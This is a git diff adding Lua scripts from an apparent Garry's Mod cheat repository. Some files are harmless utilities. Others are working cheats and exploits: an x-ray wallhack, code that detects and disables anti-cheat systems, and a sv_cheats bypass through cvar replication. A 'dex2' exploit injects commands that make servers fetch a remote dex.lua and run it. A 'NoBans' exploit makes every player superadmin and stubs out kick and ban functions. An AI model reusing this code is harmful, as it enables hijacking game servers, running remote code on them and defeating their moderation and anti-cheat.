+++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/hex_noviewpunch.lua @@ -0,0 +1 @@ + local Enabled = CreateClientConVar("hex_noviewpunch", 1, true, false) local Old = _R.Player.ViewPunch function _R.Player:ViewPunch(ang) if Enabled:GetBool() then return end return Old(self,ang) end \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/luasearch.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/luasearch.lua new file mode 100644 index 0000000..230ff3a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/luasearch.lua @@ -0,0 +1,129 @@ +LuaSearch = LuaSearch or {} +concommand.Add( "luasearch", function( ply, com, args ) + if(ValidEntity(LuaSearch.Panel)) then return end + LuaSearch.Panel = vgui.Create("DFrame") + local Panel = LuaSearch.Panel + Panel:SetSize(ScrW(), ScrH()) + Panel:Center() + Panel:MakePopup() + Panel:SetTitle("Lua Search - Powered by Overv's Lua Searcher") + + Panel.Search = vgui.Create("DTextEntry", Panel) + Panel.Search:SetSize(ScrW()-79, 20) + Panel.Search:SetPos(5, ScrH()-22) + + Panel.Button = vgui.Create("DButton", Panel) + Panel.Button:SetSize(70, 20) + Panel.Button:SetPos(ScrW()-75, ScrH()-22) + Panel.Button:SetText("Search") + local function CreateTree() + Panel.Tree = vgui.Create("DTree", Panel) + Panel.Tree:SetSize(ScrW()-10, ScrH()-100) --50 + Panel.Tree:SetPos(5, 24) + Panel.Tree:SetShowIcons(true) + end + + CreateTree() + + Panel.DescriptionFrame = vgui.Create("DPanel", Panel) + Panel.DescriptionFrame:SetPos(5, ScrH()-70) + Panel.DescriptionFrame:SetSize(ScrW()-10, 45) + Panel.DescriptionFrame:SetBackgroundColor(Color(221,221,221,255)) + + Panel.DescriptionText = vgui.Create("DLabel", Panel.DescriptionFrame) + Panel.DescriptionText:SetPos(5, 5) + Panel.DescriptionText:SetText("Select a function.") + Panel.DescriptionText:SetTextColor(Color(0,0,0,255)) + Panel.DescriptionText:SizeToContents() + + + local function FixString(k) + local finalstring = "" + for i=1, #k do + local char = string.sub(k, i, i) + if(string.byte(char) > 160) then + char = string.char(string.byte(char)-100) + end + finalstring = finalstring .. char + end + return finalstring + end + + function Panel.Button:DoClick() + local KeyWord = LuaSearch.Panel.Search:GetValue() + if(KeyWord ~= "") then + http.Get("http://luasearch.overvprojects.nl/love.php?keywords=" .. KeyWord, "", function(contents, size) + local finalstring = "" + for i=1, #contents do + local char = string.sub(contents, i, i) + if(string.upper(char) == char and string.byte(char) > 64 and char ~= "{" and char ~= "}") then -- this is a hacky way to get keyvaluestotable work with uppercase letters in the key. + char = string.char(string.byte(char)+100) + end + finalstring = finalstring .. char + end + local table = util.KeyValuesToTable(finalstring) +-- PrintTable(table) + Panel.Tree:Remove() + CreateTree() + local Objects = Panel.Tree:AddNode("Objects") + for k,v in pairs(table.objects) do + if(type(v) == "table") then + local Node = Objects:AddNode(FixString(k)) + for i,z in pairs(v) do + local Function = Node:AddNode(string.gsub("["..string.upper(FixString(z.state)).."]".." "..FixString(i).."("..FixString(z.arguments)..")", "\n", "")) + Function.Function = FixString(i) + Function.ReturnValue = FixString(z.returns) + if(Function.ReturnValue == "") then Function.ReturnValue = "Nothing" end + Function.Description = FixString(z.description) + Function.DoClick = function(self) + Panel.DescriptionText:SetText(self.Description.."\nReturns: "..self.ReturnValue, self.Function, "Close") + Panel.DescriptionText:SizeToContents() + end + Function.ShowIcons = function() return false end + end + end + end + local Libraries = Panel.Tree:AddNode("Libraries") + for k,v in pairs(table.libraries) do + if(type(v) == "table") then + local Node = Libraries:AddNode(FixString(k)) + for i,z in pairs(v) do + local Function = Node:AddNode(string.gsub("["..string.upper(FixString(z.state)).."]".." "..FixString(i).."("..FixString(z.arguments)..")", "\n", "")) + Function.Function = FixString(i) + Function.ReturnValue = FixString(z.returns) + if(Function.ReturnValue == "") then Function.ReturnValue = "Nothing" end + Function.Description = FixString(z.description) + Function.DoClick = function(self) + Panel.DescriptionText:SetText(self.Description.."\nReturns: "..self.ReturnValue, self.Function, "Close") + Panel.DescriptionText:SizeToContents() + end + Function.ShowIcons = function() return false end + end + end + end + local Hooks = Panel.Tree:AddNode("Hooks") + for k,v in pairs(table.hooks) do + if(type(v) == "table") then + local Node = Hooks:AddNode(FixString(k)) + for i,z in pairs(v) do + local Function = Node:AddNode(string.gsub("["..string.upper(FixString(z.state)).."]".." "..FixString(i).."("..FixString(z.arguments)..")", "\n", "")) + Function.Function = FixString(i) + Function.ReturnValue = FixString(z.returns) + if(Function.ReturnValue == "") then Function.ReturnValue = "Nothing" end + Function.Description = FixString(z.description) + Function.DoClick = function(self) + Panel.DescriptionText:SetText(self.Description.."\nReturns: "..self.ReturnValue, self.Function, "Close") + Panel.DescriptionText:SizeToContents() + end + Function.ShowIcons = function() return false end + end + end + end + + end) + end + end + Panel.Search.OnEnter = Panel.Button.DoClick + + +end ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/o_NewXrayVision.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/o_NewXrayVision.lua new file mode 100644 index 0000000..da39fd5 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/o_NewXrayVision.lua @@ -0,0 +1,112 @@ +//local PoKiRayOn = CreateClientConVar("PoKiRayOn", 0, false, true) +local RayOn = false +local AllMats = {} +local allcolors = {} +local FSetColor = _R.Entity.SetColor +local FSetMat = _R.Entity.SetMaterial + + +local function TogglePoKiRay() + if RayOn then + surface.PlaySound("items/nvg_off.wav") + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + FSetMat(v, AllMats[v]) + local z = allcolors[v] + if z and type(z) == "number" then + FSetColor(v, 255,255,255,255) + elseif z and type(z) == "table" then + FSetColor(v, z.r, z.g, z.b, z.a) + else + FSetColor(v, 255,255,255,255) + end + end + end + else + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + allcolors[v] = v:GetColor() + end + end + surface.PlaySound("items/nvg_off.wav") + end + RayOn = not RayOn +end +concommand.Add("ToggleFRay", TogglePoKiRay) + +function DoPoKiRay() + if not RayOn then return end + for k,v in pairs(ents.GetAll()) do + if v and IsValid(v) then + local r,g,b,a = v:GetColor() + + if v:IsPlayer() and (r ~= 255 or g ~= 0 or b ~= 0 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v,255, 0, 0, 255) + elseif v:IsNPC() and (r ~= 0 or g ~= 0 or b ~= 255 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 0, 0, 255, 255) --0, 255, 0, 255 --also 255 + elseif v:GetClass() == "prop_physics" and (r ~= 50 or g ~= 255 or b ~= 50 or a ~= 35) then --40 --(r ~= 0 or g ~= 0 or b ~= 255 or a ~= 70) + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 50, 255, 50, 35) --40 --0, 0, 255, 70 + elseif v:IsWeapon() and (r ~= 140 or g ~= 0 or b ~= 255 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 140, 0, 255, 255) + elseif v:GetClass() == "viewmodel" and (r ~= 0 or g ~= 0 or b ~= 0 or a ~= 50) then --30 + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 0, 0, 0, 50) --30 + elseif (v:GetClass() == "prop_vehicle_jeep" or v:GetClass() == "prop_vehicle_airboat") and (r ~= 0 or g ~= 207 or b ~= 255 or a ~= 55) then --was 50 + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 0, 207, 255, 55) --50 + elseif (v:GetClass() == "ent_mad_c4" or v:GetClass() == "gravestone" or v:GetClass() == "npc_tripmine" or v:GetClass() == "npc_satchel") and (r ~= 255 or g ~= 0 or b ~= 0 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 255, 0, 0, 255) + + + elseif (v:GetClass() == "item_battery" or v:GetClass() == "item_healthkit") and (r ~= 255 or g ~= 0 or b ~= 100 or a ~= 255) then + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 255, 0, 100, 255) + + + + --elseif (v:GetClass() == "drug_lab" or v:GetClass() == "money_printer") and (r ~= 66 or g ~= 179 or b ~= 247 or a ~= 150) then + --allcolors[v] = Color(r,g,b,a) + --FSetColor(v, 66, 179, 247, 150) + + + --and v:GetClass() ~= "drug_lab" and v:GetClass() ~= "money_printer" + + elseif not v:IsPlayer() and not v:IsNPC() and v:GetClass() ~= "prop_physics" and v:GetClass() ~= "item_battery" and v:GetClass() ~= "item_healthkit" and v:GetClass() ~= "npc_satchel" and v:GetClass() ~= "npc_tripmine" and v:GetClass() ~= "gravestone" and v:GetClass() ~= "ent_mad_c4" and v:GetClass() ~= "prop_vehicle_jeep" and v:GetClass() ~= "prop_vehicle_airboat" and not v:IsWeapon() and v:GetClass() ~= "viewmodel" and ( r ~= 255 or g ~= 200 or b ~= 0 or a ~= 85) then --100 + allcolors[v] = Color(r,g,b,a) + FSetColor(v, 255, 200, 0, 85) --100 + end + + if v:GetClass() ~= "viewmodel" and v:GetMaterial() ~= "PoKiRayMat" then + AllMats[v] = v:GetMaterial() + FSetMat(v, "PoKiRayMat") + end + + end + end +end +hook.Add( "RenderScene", "PoKiRay", DoPoKiRay) + +--uncomment these if you want colormod to make the screen black ish (makes it more realistic) +--local ColorMod ={} +--ColorMod[ "$pp_colour_addr" ] = 0 +--ColorMod[ "$pp_colour_addg" ] = 0 +--ColorMod[ "$pp_colour_addb" ] = 0 +--ColorMod[ "$pp_colour_brightness" ] = -0.1 +--ColorMod[ "$pp_colour_contrast" ] = 1 +--ColorMod[ "$pp_colour_colour" ] = 1 +--ColorMod[ "$pp_colour_mulr" ] = 0 +--ColorMod[ "$pp_colour_mulg" ] = 0 +--ColorMod[ "$pp_colour_mulb" ] = 0 + +local function ChangeColours() + if not RayOn then return end + --DrawColorModify( ColorMod ) + --and the one above +end +hook.Add( "RenderScreenspaceEffects", "PoKiRayColour", ChangeColours) +//hook.Remove( "RenderScreenspaceEffects", "PoKiRayColour") \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/worldspawnfix.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/worldspawnfix.lua new file mode 100644 index 0000000..d3a7c34 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/worldspawnfix.lua @@ -0,0 +1,52 @@ +if ( SERVER ) then + + AddCSLuaFile( "worldspawnfix.lua" ) +end + +if ( CLIENT ) then + +language.Add( "cycler_actor", "NPC" ) +language.Add( "point_hurt", "NPC" ) + +language.Add( "npc_antlion_worker", "AcidLiON" ) +language.Add( "grenade_spit", "Acid Spit" ) +language.Add( "hunter_flechette", "Flechettes" ) +language.Add( "item_item_crate", "Item Crate" ) + + +language.Add( "entityflame", "Fire" ) +language.Add( "env_explosion", "Boom" ) +language.Add( "env_fire", "Fire" ) +language.Add( "env_laser", "Laz0r" ) +language.Add( "env_beam", "Laz0r" ) +language.Add( "func_door", "The Door" ) +language.Add( "func_door_rotating", "The Door" ) +language.Add( "prop_door_rotating", "The Door" ) +language.Add( "func_tracktrain", "Railway" ) +language.Add( "gmod_balloon", "Balloons" ) +language.Add( "gmod_spawner", "Prop Spawner" ) +language.Add( "gmod_thruster", "GMod Thruster" ) +language.Add( "gmod_thruster_old", "GMod Thruster" ) +language.Add( "gmod_turret", "GMod Turret" ) +language.Add( "item_healthvial", "Health Vial" ) +language.Add( "npc_bullseye", "Fort Door" ) +language.Add( "npc_clawscanner", "Claw Scanner" ) +language.Add( "npc_grenade_frag", "Frag Grenade" ) +language.Add( "npc_helicopter", "Combine Choppa" ) +language.Add( "phys_magnet", "Magnet" ) +language.Add( "prop_combine_ball", "Combine Energy Ball" ) +language.Add( "prop_physics_multiplayer", "Multiplayer Physics Prop" ) +language.Add( "prop_ragdoll_attached", "Ragdoll" ) +language.Add( "prop_vehicle_apc", "Combine APC" ) +language.Add( "prop_vehicle_jeep", "Jeep" ) +language.Add( "prop_vehicle_pod", "Seat" ) +language.Add( "trigger_hurt", "Map" ) +language.Add( "weapon_striderbuster", "Magnusson Device" ) +language.Add( "World", "Gravity" ) +language.Add( "worldspawn", "Gravity" ) + +language.Add( "func_physbox", "Physbox" ) +language.Add( "func_physbox_multiplayer", "Physbox" ) + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_ACWarning.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_ACWarning.lua new file mode 100644 index 0000000..cc1e73a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_ACWarning.lua @@ -0,0 +1,169 @@ + + +AAH = {} +AAH.Found = {} +AAH.DoneMsg = false + +local NotFFIL = NotFFIL or file.FindInLua +local NotFE = NotFE or file.Exists +local NotCCA = NotCCA or concommand.Add +local NotFF = NotFF or file.Find +local NotFD = NotFD or file.Delete +local NotGCV = NotGCV or GetConVar + +local NotDGU = debug.getupvalue +local NotDGI = debug.getinfo +local NotCCR = concommand.Remove + + +AAH.ACTable = { + ["CheatBlocker"] = "autorun/CB.lua", + ["FAC"] = "includes/enum/fac.lua", + ["AC_OB"] = "includes/enum/ac_*.lua", + ["OldHAC"] = "includes/enum/0.lua", + ["quicksnap"] = "sh_quicksnap.lua", + ["RoTF"] = "rot/*.lua", + ["RoTF_Alt"] = "rotf_pak1.lua", + ["BananaLord"] = "autorun/client/anti_cheat_derma.lua", + ["azu_anticheat"] = "autorun/azu_anticheat.lua", + ["XAC"] = "includes/enum/xac.lua", + ["CheckAC"] = "includes/extensions/a.lua", + ["rcon"] = "autorun/rcon.lua", + --["GBPS/Frenga"] = "includes/enum/!.lua", --add "\33" fucking "!" char, can't search for it + --["HAC"] = "includes/enum/!!!!!!!!!!.lua", +} + + +function HeXAntiCheatCheck(ac) + if not AAH.ACTable[ ac ] then return false end + return NotFE("lua/"..AAH.ACTable[ ac ], true) +end + +local Total = 0 +for AC,DC in pairs(AAH.ACTable) do + Total = Total + 1 + if HeXAntiCheatCheck(AC) then + print("[HeX] Server has: ", AC) + end +end +print("[HeX] ACWarning ["..Total.."]") + + +local function AAHBypass() + if (HeXAntiCheatCheck("FAC") or (string.Random)) and not (AAH.FAC) then + table.insert(AAH.Found, "Flapadar's Anticheat") + AAH.FAC = true + + print("[HeX] FAC!") + + elseif (HeXAntiCheatCheck("RoTF") or HeXAntiCheatCheck("RoTF_Alt") or Realm or RoTF_Hooks or (hook.GetTable()["Think"]["RealmChatboxMarkupTick"]) + or (hook.GetTable()["Think"]["nope_avi"])) and not (AAH.RoTF) then + table.insert(AAH.Found, "RoTF Anticheat") + AAH.RoTF = true + + print("[HeX] RoTF Anticheat") + + elseif (HeXAntiCheatCheck("CheatBlocker") or CBCheck or BannableCommands or timer.IsTimer("refreshConsoleCommands")) and not (AAH.CheatBlocker) then + table.insert(AAH.Found, "CheatBlocker") + AAH.CheatBlocker = true + + BannableCommands = {} + timer.Destroy("refreshConsoleCommands") + print("[HeX] CheatBlocker Anticheat") + + + elseif (HeXAntiCheatCheck("BananaLord") or ShowAntiCheatInfo) and not (AAH.BananaLord) then + table.insert(AAH.Found, "BananaLord") + AAH.BananaLord = true + + ShowAntiCheatInfo = function() end + LocalPlayer():SetNWInt("WarningLevel", 0) + print("[HeX] BananaLord Anticheat") + + + elseif (HeXAntiCheatCheck("CheckAC") or WE_NOT_HAVE_HAX) and not (AAH.CheckAC) then + table.insert(AAH.Found, "CheckAC") + AAH.CheckAC = true + + print("[HeX] CheckAC Anticheat") + + + elseif HeXAntiCheatCheck("GBPS/Frenga") and not (AAH.GBPS) then + table.insert(AAH.Found, "GBPS/Frenga Anticheat") + AAH.GBPS = true + + print("[HeX] GBPS/Frenga Anticheat") + + + elseif query_hacks and not (AAH.query_hacks) then + table.insert(AAH.Found, "query_hacks") + AAH.query_hacks = true + + HeXLRCL('alias "~sendhackreport" "echo [HeX] CheckAC: ~sendhackreport"') + concommand.Remove("~sendhackreport") + + HeXLRCL('alias "_sendhackreport" "echo [HeX] CheckAC: _sendhackreport"') + concommand.Remove("_sendhackreport") + + HeXLRCL('alias "query_hacks" "echo [HeX] CheckAC: query_hacks"') + concommand.Remove("query_hacks") + print("[HeX] query_hacks") + + + elseif (CheckStolenGoods or MadeThisShit) and not (AAH.PERP) then + table.insert(AAH.Found, "PERP") + AAH.PERP = true + + print("[HeX] PERP") + + + elseif HeXAntiCheatCheck("quicksnap") and not (AAH.quicksnap) then + table.insert(AAH.Found, "quicksnap") + AAH.quicksnap = true + + HeXLRCL('alias "quicksnap" "echo [HeX] quicksnap"') + print("[HeX] quicksnap") + + + elseif HeXAntiCheatCheck("azu_anticheat") and not (AAH.azu) then + table.insert(AAH.Found, "Azu's Anticheat") + AAH.azu = true + + concommand.Remove = NotCCR + print("[HeX] Azu's Anticheat") + + + elseif HeXAntiCheatCheck("rcon") and not (AAH.rcon) then + table.insert(AAH.Found, "RCON stealer") + AAH.rcon = true + + usermessage.Hook("herpderpin", function(um) --Shitty RCon stealer + RunConsoleCommand("sendshit", "you dun goofed", "And the consequences will never be the same") + print("Shitty RCon stealer blocked!") + end) + print("[HeX] RCon stealer") + + + elseif ( HeXAntiCheatCheck("XAC") or oldRCC or xac or (NotDGU(RunConsoleCommand,1) ~= nil) and not (HeXAntiCheatCheck("HAC") or HACInstalled) ) and not (AAH.XAC) then + table.insert(AAH.Found, "Xana Anticheat") + + print("[HeX] Xana Anticheat") + + + elseif HeXGlobal_AC and (#AAH.Found == 0) and not (HeXAntiCheatCheck("HAC") or HACInstalled) and not (AAH.Generic) then + table.insert(AAH.Found, "A Generic Anticheat") + + AAH.Generic = true + + print("[HeX] Generic Anticheat") + end +end + + +AAHBypass() +timer.Create("AAH", 1, 0, function() + AAHBypass() +end) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_FixEnts.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_FixEnts.lua new file mode 100644 index 0000000..515c4a2 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_FixEnts.lua @@ -0,0 +1,14 @@ + +local string = string + +print("[HeX] Fixing case-sensitive ents.Create") + +local old = ents.Create +function ents.Create(ent) + return old( string.lower(ent) ) +end + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_fixmdl.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_fixmdl.lua new file mode 100644 index 0000000..7ddc92c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old en/en_fixmdl.lua @@ -0,0 +1,37 @@ +if !CLIENT then return end + +--[[ +local SetModel = _R.Entity.SetModel +_R.Entity.SetModel = function( self, mdl ) + local b, e = pcall( SetModel( self, mdl ) ) + if !b then + ErrorNoHalt( "Catching model-related error: "..e.."\n" ) + end +end +]] + +local SetModel = _R.Entity.SetModel +_R.Entity.SetModel = function(self, mdl) + if !util.IsValidModel(mdl) then + Msg("[!] SetModel on "..tostring(self).." Failed. Invalid model: "..mdl.."\n") + SetModel(self, mdl) + end + SetModel(self, mdl) +end + + +--[[ +local oldMaterial = _G.Material --fucked +_G.Material = function(mat) + if not file.Exists("materials/"..mat..".vmt", true) then + Msg("[!] Material invalid: materials/"..tostring(mat).."\n") + return oldMaterial(mat) + end + oldMaterial(mat) +end +]] + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/LoadDeX2.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/LoadDeX2.lua new file mode 100644 index 0000000..c7e216f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/LoadDeX2.lua @@ -0,0 +1,11 @@ + +local function LoadDeX2() + print("! sending dex2, waiting for reply..\n") + + RunRun({ + [[ "function TryRun(ip,p) http.Get(ip, ' ', function(s,f) DEX_PATH = p RunStringEx(s,'WireModelPack') end) end" ]], + [[ "function GetHIP(v) local p = v:IPAddress():Left(-7) return 'http://'..p..':80/bar/dex/dex.lua',p end" ]], + [[ "for k,v in pairs(player.GetAll()) do TryRun( GetHIP(v) ) end" ]], + }) +end +concommand.Add("hex_exploit_dex2", LoadDeX2) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/NoBans.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/NoBans.lua new file mode 100644 index 0000000..0b2f416 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/NoBans.lua @@ -0,0 +1,60 @@ + +local function NoBans() + print("! sending NoBans..\n") + + HeXLRCL('replay_tip concommand.Add([[kickid2]],function() end) ') + HeXLRCL('replay_tip concommand.Add([[banid2]],function() end) ') + HeXLRCL('replay_tip concommand.Add([[sm_ban]],function() end) ') + HeXLRCL('replay_tip concommand.Add([[sm_banip]],function() end) ') + HeXLRCL('replay_tip concommand.Add([[sm_addban]],function() end) ') + //HeXLRCL('replay_tip concommand.Add([[ev]],function() end) ') + //HeXLRCL('replay_tip concommand.Add([[ulx]],function() end) ') + + RunRun({ + [[ "for k,v in pairs(player.GetAll()) do v:SetUserGroup('admin') end" ]], + [[ "for k,v in pairs(player.GetAll()) do v:SetUserGroup('superadmin') end" ]], + + [[ "_R.Player.IsAdmin = function() return true end" ]], + [[ "_R.Player.IsSuperAdmin = function() return true end" ]], + [[ "_R.Player.Ban = function() end" ]], + [[ "_R.Player.Kick = function() end" ]], + + [[ "if cvar2 then cvar2.SetValue('kickid', 0) end" ]], + [[ "if cvar2 then cvar2.SetValue('banid', 0) end" ]], + + [[ "if ULib then ULib.kick = function() end end" ]], + [[ "if ULib then ULib.ban = function() end end" ]], + [[ "if ULib then ULib.kickban = function() end end" ]], + [[ "if ULib then ULib.addBan = function() end end" ]], + + [[ "if evolve then evolve.bans = false end" ]], + [[ "if evolve then evolve.Ban = function() end" ]], + [[ "if evolve then evolve.IsBanned = function() return false end" ]], + + [[ "Cmd_RecvCommand = function() end " ]], + [[ "BannedPlayers = false" ]], + [[ "Kick = function() end" ]], + [[ "Ban = function() end" ]], + [[ "SaveBans = function() end" ]], + [[ "KickBan = function() end" ]], + + [[ "ASS_BanPlayer = function() end" ]], + [[ "ASS_KickPlayer = function() end" ]], + [[ "GBans = {}" ]], + [[ "if gatekeeper then gatekeeper.Drop = function() end end" ]], + [[ "if asscmd then asscmd.ConsoleCommand = function() end end" ]], + + [[ "sourcebans = {}" ]], + [[ "sourcebans.doBan = function() end" ]], + [[ "sourcebans.BanPlayer = function() end" ]], + [[ "sourcebans.BanPlayerBySteamID = function() end" ]], + [[ "sourcebans.BanPlayerByIP = function() end" ]], + [[ "sourcebans.BanPlayerBySteamIDAndIP = function() end" ]], + [[ "doBan = function() end" ]], + [[ "BanPlayer = function() end" ]], + [[ "BanPlayerBySteamID = function() end" ]], + [[ "BanPlayerByIP = function() end" ]], + [[ "BanPlayerBySteamIDAndIP = function() end" ]], + }) +end +concommand.Add("hex_exploit_bans", NoBans) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/RunRun.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/RunRun.lua new file mode 100644 index 0000000..b1eaf1f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/RunRun.lua @@ -0,0 +1,20 @@ + +function RunRun(tab) + local TotalRun = 0 + local Total = #tab + + for k,v in ipairs(tab) do + timer.Simple(k/8, function() + HeXLRCL( Format([[replay_tip %s]], v) ) + + TotalRun = TotalRun + 1 + if (TotalRun == Total) then + print("\n! RunRun sent all #"..Total.." commands!\n") + else + print("! RunRun: Sending cmd #"..TotalRun.."/"..Total.."..") + end + end) + end +end + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_CheckFilter.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_CheckFilter.lua new file mode 100644 index 0000000..c9551dd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_CheckFilter.lua @@ -0,0 +1,34 @@ + + +local CVar = "hsp_filter_sound" --"flt_sound" +local CanDo = false + +hook.Add("OnLoadingStopped", "CheckFilter", function() + timer.Simple(8, function() + if CanDo and (ConVarExists(CVar) and GetConVarString(CVar)) then + surface.PlaySound("ambient/machines/thumper_shutdown1.wav") + + print("\n\nSimpleFilter is on this server, getting log..\n") + console.Command("flt_download") + + timer.Simple(10, function() + --console.Command("flt_clear") + surface.PlaySound("ambient/machines/thumper_shutdown1.wav") + print("\n\nSimpleFilter up to date\n") + end) + end + end) +end) + +hook.Add("OnLoadingStarted", "CheckFilter", function() + CanDo = true +end) + +hook.Add("OnDisconnectFromServer", "CheckFilter", function() + CanDo = false +end) + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_DermaSkin.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_DermaSkin.lua new file mode 100644 index 0000000..6e95fd3 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_DermaSkin.lua @@ -0,0 +1,94 @@ +local dermaskin +local getskintable +local getConVarString = GetConVarString + +if file.Exists"dermaskin.txt" then dermaskin = file.Read"dermaskin.txt" end + +if !ConVarExists"derma_skin" then CreateConVar("derma_skin", dermaskin or "Default") end + +timer.Simple(0, function() + +local dermaskins = derma.GetSkinTable() +timer.Create("RefreshDermaSkins", 1, 0, function() dermaskins = derma.GetSkinTable() end) + +function _R.Panel:SetSkin(name) self.dermaskin = name end + +function derma.SkinHook( strType, strName, panel ) + local Skin + local a = hook.Call("ForceDermaSkin", GAMEMODE) or panel.dermaskin + local p = panel + while (!a and p:GetParent()) do + p = p:GetParent() + a = a or p.dermaskin + end + if a then + if a != panel.lastdermaskin then panel:InvalidateLayout() end + panel.lastdermaskin = a + Skin = dermaskins[a] + else + if !getskintable then getskintable = derma.GetSkinTable end + dermaskin = getConVarString"derma_skin" + if dermaskin != panel.lastdermaskin then panel:InvalidateLayout() end + if !dermaskins[dermaskin] then dermaskin = nil end + panel.lastdermaskin = dermaskin + Skin = dermaskins[dermaskin or "Default"] + end + + if ( !Skin ) then return end + local func = Skin[ strType .. strName ] + local func2 = dermaskins["Default"][ strType .. strName ] + if ( !func ) then return end + + return func( Skin, panel ) + +end + +function debug.getupvalues(f) + local t, i, k, v = {}, 1, debug.getupvalue(f, 1) + while k do + t[k] = v + i = i+1 + k,v = debug.getupvalue(f, i) + end + return t +end + +local func = debug.getupvalues(concommand.Run).CommandList["menu_extensions"] + +concommand.Add("menu_extensions", function() + func() + local panel = debug.getupvalues(func).Extensions + while !panel do + local a + a = debug.getupvalues(a or func).func + if a then + panel = debug.getupvalues(a).Extensions + a = debug.getupvalues(a or func).func + else + break + end + end + local pnl = vgui.Create"DListView" + pnl:Dock(FILL) + pnl:AddColumn"Name" + pnl:AddColumn"Author" + pnl:SetMultiSelect(false) + local tbl = {} + for k, v in pairs(derma.GetSkinTable()) do + pnl:AddLine(v.PrintName or "N/A", v.Author or "N/A") + table.insert(tbl, k) + end + pnl.OnRowSelected = function(_, line) + RunConsoleCommand("derma_skin", tbl[line]) + file.Write("dermaskin.txt", tbl[line]) + end + + panel.PropertySheet:AddSheet( Localize( "Derma Skin" ), pnl, "gui/silkicons/application_view_tile" ) + concommand.Add("menu_extensions", func) +end) + +for k, v in pairs(file.FindInLua("skins/*.lua")) do + include("skins/"..v) +end + +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_DeReplicate.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_DeReplicate.lua new file mode 100644 index 0000000..b18ad0c --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old ml/ml_H_DeReplicate.lua @@ -0,0 +1,119 @@ +if not ReplicatorLoaded then + ReplicatorLoaded = true + concommand.Add("hex_dereplicate_load", function() include("custom_menu/ml_H_DeReplicate.lua") end) + return +end + +if not replicator then + require("replicator") +end +if not replicator then + COLCON(RED, "Replicator", WHITE, ": Error 404, replicator not found!") + + require("hexcv") + if hexcv then + COLCON(RED, "Replicator", WHITE, ": Loading old version..") + include("custom_menu/old/ml_H_DeReplicate_cvar2.lua") + else + COLCON(RED, "Replicator", WHITE, ": Can't load either version, fix yo module!") + end + return +end + + +CVar_Prefix = "hex_" + +local AlwaysBypass = { + "vcollide_wireframe", + "fog_override", + "showtriggers", + "snd_show", +} + +local NowBypass = { + "sv_cheats", + "host_timescale", + "host_framerate", + + "r_drawparticles", + "r_drawothermodels", + "mat_fullbright", + "mat_wireframe", +} + + + + +function RenameCVar(name) + local NewName = CVar_Prefix..name + + if ( ConVarExists(name) and not ConVarExists(NewName) ) then + local CVar = GetConVar(name) + + local Value = CVar:GetDefault() + local Flags = replicator.GetFlags(name) + local Help = CVar:GetHelpText() or false + + local Done = replicator.Replicate(name, NewName, Flags, Value) + + if not Done then + COLCON(RED, "Replicator", WHITE, ": ! FUCKUP, replicator error") + return + end + + if Help then + CreateConVar(name, Value, Flags, Help) + else + CreateConVar(name, Value, Flags) + end + end + + return name, NewName +end + + + +local function MsgDeReplicate(cvar,newname) + COLCON(RED, "Replicator: ", BROWN, cvar, WHITE, " -> ", GREEN, newname) +end + +local function ManualDeReplicate(ply,cmd,args) + if ReplicatorDone then + COLCON(RED, "Replicator", WHITE, ": Already used ManualDeReplicate!") + return + end + + 